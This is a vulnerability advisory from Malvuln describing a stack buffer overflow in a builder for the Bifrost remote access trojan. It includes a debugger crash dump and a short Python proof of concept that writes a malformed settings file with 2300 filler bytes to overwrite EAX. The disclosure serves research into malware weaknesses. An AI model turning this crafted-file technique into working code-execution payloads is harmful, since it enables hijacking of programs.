Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/db45a906a0a3747398b2b8a5faff5e44.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Constructor.Win32.Bifrose.ag Vulnerability: Local Stack Buffer Overflow Description: Bifrost crypted by Dr.G3NIUS, doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution. Type: PE32 MD5: db45a906a0a3747398b2b8a5faff5e44 Vuln ID: MVID-2021-0177 ASLR: False DEP: False Safe SEH: True Disclosure: 04/18/2021 Memory Dump: (11f8.1b40): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00187efc edx=0024e000 esi=00000003 edi=00000003 eip=7710ed3c esp=001861c4 ebp=00186354 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:000> .ecxr eax=41414141 ebx=00187efc ecx=00187efc edx=0024e000 esi=00187efc edi=00000000 eip=00447b16 esp=00186b04 ebp=00186b48 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 *** WARNING: Unable to verify checksum for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe *** ERROR: Module load completed but symbols could not be loaded for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16: 00447b16 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16 00447b16 ff90f4000000 call dword ptr [eax+0F4h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00447b16 (Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x00047b16) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414235 Attempt to read from address 41414235 PROCESS_NAME: Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414235 READ_ADDRESS: 41414235 FOLLOWUP_IP: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16 00447b16 ff90f4000000 call dword ptr [eax+0F4h] MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001b40 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00404a5a to 00447b16 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 00186b48 00404a5a 00000000 0018777c 00402ab1 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16 00186b54 00402ab1 0d660d19 00187d50 0000052c Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x4a5a 0018777c 00000000 00000000 00000000 00000000 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x2ab1 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44 IMAGE_NAME: Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe DEBUG_FLR_IMAGE_TIMESTAMP: 469cbcfa FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16 Exploit/PoC: 1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error. import struct f=open('DOOM.set', 'wb') f.write("BifrostSettings".encode('ascii')) f.write(struct.pack('B', 0)) f.write(str("A"*2300).encode('ascii')) f.close() 2) Go to builder menu item in bifrost 3) Import the corrupt bifrost .set (settings) file, Done! Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. 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